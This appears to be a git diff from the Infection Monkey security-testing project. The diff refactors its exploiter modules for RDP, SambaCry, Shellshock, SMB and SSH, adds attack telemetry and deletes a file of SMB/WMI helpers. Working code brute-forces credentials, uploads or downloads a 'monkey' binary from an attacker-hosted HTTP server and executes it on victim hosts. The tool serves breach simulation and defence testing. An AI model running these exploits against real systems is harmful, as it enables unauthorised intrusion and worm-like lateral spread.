self._addr.host, self._addr.port) - return - - key = self._keys[0] - - self._update_lock.acquire() - time_diff = time.time() - self._last_update - if type(key) is WaitUpdateEvent: - self._wait_for_update = True - self._update_lock.release() - key.updates -= 1 - if key.updates == 0: - self._keys = self._keys[1:] - elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): - self._wait_for_update = False - self._update_lock.release() - if type(key) is ScanCodeEvent: - reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, - key.is_special) - elif type(key) is CharEvent: - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) - elif type(key) is SleepEvent: - time.sleep(key.interval) - - self._keys = self._keys[1:] - else: - self._update_lock.release() - time.sleep(KEYS_SENDER_SLEEP) - - def onReady(self): - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True) - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False) - time.sleep(1) - pass - - def onClose(self): - self.success = len(self._keys) == 0 - self.closed = True - - def onSessionReady(self): - LOG.debug("Logged in, session is ready for work") - self._last_update = time.time() - self._keys_thread.start() - - -class CMDClientFactory(rdp.ClientFactory): - def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): - self._username = username - self._password = password - self._domain = domain - self._keyboard_layout = "en" - # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter - self._keys = [SleepEvent(1), - ScanCodeEvent(91, True, True), - ScanCodeEvent(19, True), - ScanCodeEvent(19, False), - ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] - self._optimized = optimized - self._security = rdp.SecurityLevel.RDP_LEVEL_NLA - self._nego = True - self._client = None - self._width = width - self._height = height - self.done_event = threading.Event() - self.success = False - - def buildObserver(self, controller, addr): - """ - @summary: Build RFB observer - We use a RDPClient as RDP observer - @param controller: build factory and needed by observer - @param addr: destination address - @return: RDPClientQt - """ - - # create client observer - self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) - - controller.setUsername(self._username) - controller.setPassword(self._password) - controller.setDomain(self._domain) - controller.setKeyboardLayout(self._keyboard_layout) - controller.setHostname(addr.host) - if self._optimized: - controller.setPerformanceSession() - controller.setSecurityLevel(self._security) - - return self._client - - def clientConnectionLost(self, connector, reason): - # try reconnect with basic RDP security - if reason.type == RDPSecurityNegoFail and self._nego: - LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % - (connector.host, connector.port)) - # stop nego - self._nego = False - self._security = rdp.SecurityLevel.RDP_LEVEL_RDP - connector.connect() - return - - LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) - self.success = self._client.success - self.done_event.set() - - def clientConnectionFailed(self, connector, reason): - LOG.debug("RDP connection to %s:%s failed, with error: %s" % - (connector.host, connector.port, reason.getErrorMessage())) - self.success = False - self.done_event.set() - - -class RdpExploiter(HostExploiter): - - _TARGET_OS_TYPE = ['windows'] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - - def __init__(self, host): - super(RdpExploiter, self).__init__(host) - - def is_os_supported(self): - if super(RdpExploiter, self).is_os_supported(): - return True - - if not self.host.os.get('type'): - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if is_open: - self.host.os['type'] = 'windows' - return True - return False - - def exploit_host(self): - global g_reactor - - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if not is_open: - LOG.info("RDP port is closed on %r, skipping", self.host) - return False - - src_path = get_target_monkey(self.host) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") - return False - - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - else: - command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - - user_password_pairs = self._config.get_exploit_user_password_pairs() - - if not g_reactor.is_alive(): - g_reactor.daemon = True - g_reactor.start() - - exploited = False - for user, password in user_password_pairs: - try: - # run command using rdp. - LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - self.host, user, password) - - LOG.info("RDP connected to %r", self.host) - - user = utf_to_ascii(user) - password = utf_to_ascii(password) - command = utf_to_ascii(command) - - client_factory = CMDClientFactory(user, password, "", command) - - reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) - - client_factory.done_event.wait() - - if client_factory.success: - exploited = True - self.report_login_attempt(True, user, password) - break - else: - # failed exploiting with this user/pass - self.report_login_attempt(False, user, password) - - except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, password, exc) - continue - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - if not exploited: - LOG.debug("Exploiter RdpGrinder failed, rdp failed.") - return False - elif http_thread.downloads == 0: - LOG.debug("Exploiter RdpGrinder failed, http download failed.") - return False - - LOG.info("Executed monkey '%s' on remote victim %r", - os.path.basename(src_path), self.host) - - return True diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 2468a42bc..762cc14b5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -4,7 +4,6 @@ import posixpath import re import time from io import BytesIO -from os import path import impacket.smbconnection from impacket.nmb import NetBIOSError @@ -20,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE -from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem __author__ = 'itay.mizeretz' @@ -35,6 +37,7 @@ class SambaCryExploiter(HostExploiter): """ _TARGET_OS_TYPE = ['linux'] + _EXPLOITED_SERVICE = "Samba" # Name of file which contains the monkey's commandline SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" # Name of file which contains the runner's result @@ -51,11 +54,13 @@ class SambaCryExploiter(HostExploiter): SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2" # Monkey copy filename on share (64 bit) SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" + # Supported samba port + SAMBA_PORT = 445 def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - def exploit_host(self): + def _exploit_host(self): if not self.is_vulnerable(): return False @@ -63,9 +68,9 @@ class SambaCryExploiter(HostExploiter): LOG.info("Writable shares and their credentials on host %s: %s" % (self.host.ip_addr, str(writable_shares_creds_dict))) - self._exploit_info["shares"] = {} + self.exploit_info["shares"] = {} for share in writable_shares_creds_dict: - self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} + self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.try_exploit_share(share, writable_shares_creds_dict[share]) # Wait for samba server to load .so, execute code and create result file. @@ -80,15 +85,21 @@ class SambaCryExploiter(HostExploiter): trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash']) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) + url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'], + 'host': self.host.ip_addr, + 'port': self.SAMBA_PORT, + 'share_name': share} + self.add_vuln_url(url) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) for share, fullpath in successfully_triggered_shares: - self._exploit_info["shares"][share]["fullpath"] = fullpath + self.exploit_info["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: LOG.info( "Shares triggered successfully on host %s: %s" % ( self.host.ip_addr, str(successfully_triggered_shares))) + self.add_vuln_port(self.SAMBA_PORT) return True else: LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) @@ -258,7 +269,10 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - + T1105Telem(ScanStatus.USED, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index a98cbda50..78e668fc1 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,13 @@ from random import choice import requests +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'danielg' @@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = '/bin/uname -a' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +LOCK_HELPER_FILE = '/tmp/monkey_shellshock' class ShellShockExploiter(HostExploiter): @@ -26,6 +29,7 @@ class ShellShockExploiter(HostExploiter): } _TARGET_OS_TYPE = ['linux'] + _EXPLOITED_SERVICE = 'Bash' def __init__(self, host): super(ShellShockExploiter, self).__init__(host) @@ -35,7 +39,7 @@ class ShellShockExploiter(HostExploiter): ) for _ in range(20)) self.skip_exist = self._config.skip_exploit_if_file_exist - def exploit_host(self): + def _exploit_host(self): # start by picking ports candidate_services = { service: self.host.services[service] for service in self.host.services if @@ -65,7 +69,7 @@ class ShellShockExploiter(HostExploiter): exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed - self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] + self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: @@ -105,6 +109,10 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False + if not self._create_lock_file(exploit, url, header): + LOG.info("Another monkey is running shellshock exploit") + return True + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: @@ -121,6 +129,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() + self._remove_lock_file(exploit, url, header) + if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) @@ -130,6 +140,7 @@ class ShellShockExploiter(HostExploiter): chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) + T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) @@ -143,7 +154,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - + self.add_executed_cmd(cmdline) return True return False @@ -178,6 +189,17 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, + def _create_lock_file(self, exploit, url, header): + if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): + return False + cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + return True + + def _remove_lock_file(self, exploit, url, header): + cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + @staticmethod def attack_page(url, header, attack): result = "" diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 579fd8f1f..398d78d66 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from common.utils.attack_utils import ScanStatus, UsageEnum LOG = getLogger(__name__) @@ -17,6 +19,7 @@ LOG = getLogger(__name__) class SmbExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'SMB' KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), @@ -42,7 +45,7 @@ class SmbExploiter(HostExploiter): return self.host.os.get('type') in self._TARGET_OS_TYPE return False - def exploit_host(self): + def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: @@ -65,9 +68,15 @@ class SmbExploiter(HostExploiter): self._config.smb_download_timeout) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", - self.host, user, password, lm_hash, ntlm_hash) + LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash)) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) + self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) exploited = True break else: @@ -75,9 +84,15 @@ class SmbExploiter(HostExploiter): self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: - LOG.debug("Exception when trying to copy file using SMB to %r with user:" - " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host, - user, password, lm_hash, ntlm_hash, exc) + LOG.debug( + "Exception when trying to copy file using SMB to %r with user:" + " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), + exc) continue if not exploited: @@ -87,7 +102,8 @@ class SmbExploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) + build_monkey_commandline(self.host, get_monkey_depth() - 1, + self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -126,15 +142,19 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] - try: scmr.hRStartServiceW(scmr_rpc, service) + status = ScanStatus.USED except: + status = ScanStatus.SCANNED pass + T1035Telem(status, UsageEnum.SMB).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) + self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) return True diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 8a58f18c6..ffd584d24 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,16 +1,20 @@ +import StringIO import logging import time import paramiko -import StringIO import infection_monkey.monkeyfs as monkeyfs +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'hoffer' @@ -22,6 +26,7 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', None] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'SSH' def __init__(self, host): super(SSHExploiter, self).__init__(host) @@ -70,29 +75,30 @@ class SSHExploiter(HostExploiter): exploited = False - for user, curpass in user_password_pairs: + for user, current_password in user_password_pairs: try: ssh.connect(self.host.ip_addr, username=user, - password=curpass, + password=current_password, port=port, timeout=None) - LOG.debug("Successfully logged in %r using SSH (%s : %s)", - self.host, user, curpass) + LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, user, self._config.hash_sensitive_data(current_password)) exploited = True - self.report_login_attempt(True, user, curpass) + self.add_vuln_port(port) + self.report_login_attempt(True, user, current_password) break except Exception as exc: LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, curpass, exc) - self.report_login_attempt(False, user, curpass) + " %s and password (SHA-512) '%s': (%s)", self.host, + user, self._config.hash_sensitive_data(current_password), exc) + self.report_login_attempt(False, user, current_password) continue return exploited - def exploit_host(self): + def _exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -107,7 +113,7 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - #Check for possible ssh exploits + # Check for possible ssh exploits exploited = self.exploit_with_ssh_keys(port, ssh) if not exploited: exploited = self.exploit_with_login_creds(port, ssh) @@ -160,10 +166,18 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - + status = ScanStatus.USED + T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) + status = ScanStatus.SCANNED + + T1105Telem(status, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + src_path).send() + if status == ScanStatus.SCANNED: return False try: @@ -176,6 +190,7 @@ class SSHExploiter(HostExploiter): self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() + self.add_executed_cmd(cmdline) return True except Exception as exc: diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index b32ab1e6f..cb81a2ef5 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300 class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Struts2' def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py deleted file mode 100644 index 0b496f8be..000000000 --- a/monkey/infection_monkey/exploit/tools.py +++ /dev/null @@ -1,536 +0,0 @@ -import logging -import ntpath -import os -import os.path -import pprint -import socket -import struct -import sys -import urllib - -from impacket.dcerpc.v5 import transport, srvs -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dtypes import NULL -from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 -from impacket.smbconnection import SMBConnection, SMB_DIALECT - -import infection_monkey.config -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.info import get_free_tcp_port, get_routes -from infection_monkey.transport import HTTPServer, LockedHTTPServer -from threading import Lock - - -class DceRpcException(Exception): - pass - - -__author__ = 'itamar' - -LOG = logging.getLogger(__name__) - - -class AccessDeniedException(Exception): - def __init__(self, host, username, password, domain): - super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % - (host, domain, username, password)) - - -class WmiTools(object): - class WmiConnection(object): - def __init__(self): - self._dcom = None - self._iWbemServices = None - - @property - def connected(self): - return self._dcom is not None - - def connect(self, host, username, password, domain=None, lmhash="", nthash=""): - if not domain: - domain = host.ip_addr - - dcom = DCOMConnection(host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True) - - try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, - wmi.IID_IWbemLevel1Login) - except Exception as exc: - dcom.disconnect() - - if "rpc_s_access_denied" == exc.message: - raise AccessDeniedException(host, username, password, domain) - - raise - - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - - try: - self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - self._dcom = dcom - except: - dcom.disconnect() - - raise - finally: - iWbemLevel1Login.RemRelease() - - def close(self): - assert self.connected, "WmiConnection isn't connected" - - self._iWbemServices.RemRelease() - self._iWbemServices = None - - self._dcom.disconnect() - self._dcom = None - - @staticmethod - def dcom_wrap(func): - def _wrapper(*args, **kwarg): - try: - return func(*args, **kwarg) - finally: - WmiTools.dcom_cleanup() - - return _wrapper - - @staticmethod - def dcom_cleanup(): - for port_map in DCOMConnection.PORTMAPS.keys(): - del DCOMConnection.PORTMAPS[port_map] - for oid_set in DCOMConnection.OID_SET.keys(): - del DCOMConnection.OID_SET[port_map] - - DCOMConnection.OID_SET = {} - DCOMConnection.PORTMAPS = {} - if DCOMConnection.PINGTIMER: - DCOMConnection.PINGTIMER.cancel() - DCOMConnection.PINGTIMER.join() - DCOMConnection.PINGTIMER = None - - @staticmethod - def get_object(wmi_connection, object_name): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - return wmi_connection._iWbemServices.GetObject(object_name)[0] - - @staticmethod - def list_object(wmi_connection, object_name, fields=None, where=None): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - if fields: - fields_query = ",".join(fields) - else: - fields_query = "*" - - wql_query = "SELECT %s FROM %s" % (fields_query, object_name) - - if where: - wql_query += " WHERE %s" % (where,) - - LOG.debug("Execution WQL query: %r", wql_query) - - iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) - - query = [] - try: - while True: - try: - next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] - record = next_item.getProperties() - - if not fields: - fields = record.keys() - - query_record = {} - for key in fields: - query_record[key] = record[key]['value'] - - query.append(query_record) - except DCERPCSessionError as exc: - if 1 == exc.error_code: - break - - raise - finally: - iEnumWbemClassObject.RemRelease() - - return query - - -class SmbTools(object): - @staticmethod - def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - config = infection_monkey.config.WormConfiguration - src_file_size = monkeyfs.getsize(src_path) - - smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - # skip guest users - if smb.isGuestSession() > 0: - LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," - " LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - - try: - smb.logoff() - except: - pass - - return None - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", - host, exc) - return None - - info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], - 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], - 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), - 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), - 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), - 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} - - LOG.debug("Connected to %r using %s:\n%s", - host, dialect, pprint.pformat(info)) - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", - host, exc) - return None - - resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] - - high_priority_shares = () - low_priority_shares = () - file_name = ntpath.split(dst_path)[-1] - - for i in range(len(resp)): - share_name = resp[i]['shi2_netname'].strip("\0 ") - share_path = resp[i]['shi2_path'].strip("\0 ") - current_uses = resp[i]['shi2_current_uses'] - max_uses = resp[i]['shi2_max_uses'] - - if current_uses >= max_uses: - LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", - share_name, host) - continue - elif not share_path: - LOG.debug("Skipping share '%s' on victim %r because share path is invalid", - share_name, host) - continue - - share_info = {'share_name': share_name, - 'share_path': share_path} - - if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - shares = high_priority_shares + low_priority_shares - - file_uploaded = False - for remote_path, share in shares: - share_name = share['share_name'] - share_path = share['share_path'] - - if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - try: - tid = smb.connectTree(share_name) - except Exception as exc: - LOG.debug("Error connecting tree to share '%s' on victim %r: %s", - share_name, host, exc) - continue - - LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, share_path, remote_path, host) - - remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) - - # check if file is found on destination - if config.skip_exploit_if_file_exist: - try: - file_info = smb.listPath(share_name, remote_path) - if file_info: - if src_file_size == file_info[0].get_filesize(): - LOG.debug("Remote monkey file is same as source, skipping copy") - return remote_full_path - - LOG.debug("Remote monkey file is found but different, moving along with attack") - except: - pass # file isn't found on remote victim, moving on - - try: - with monkeyfs.open(src_path, 'rb') as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) - - file_uploaded = True - - LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, share_name, share_path, host) - - break - except Exception as exc: - LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", - share_name, host, exc) - continue - finally: - try: - smb.logoff() - except: - pass - - smb = None - - if not file_uploaded: - LOG.debug("Couldn't find a writable share for exploiting" - " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - return None - - return remote_full_path - - 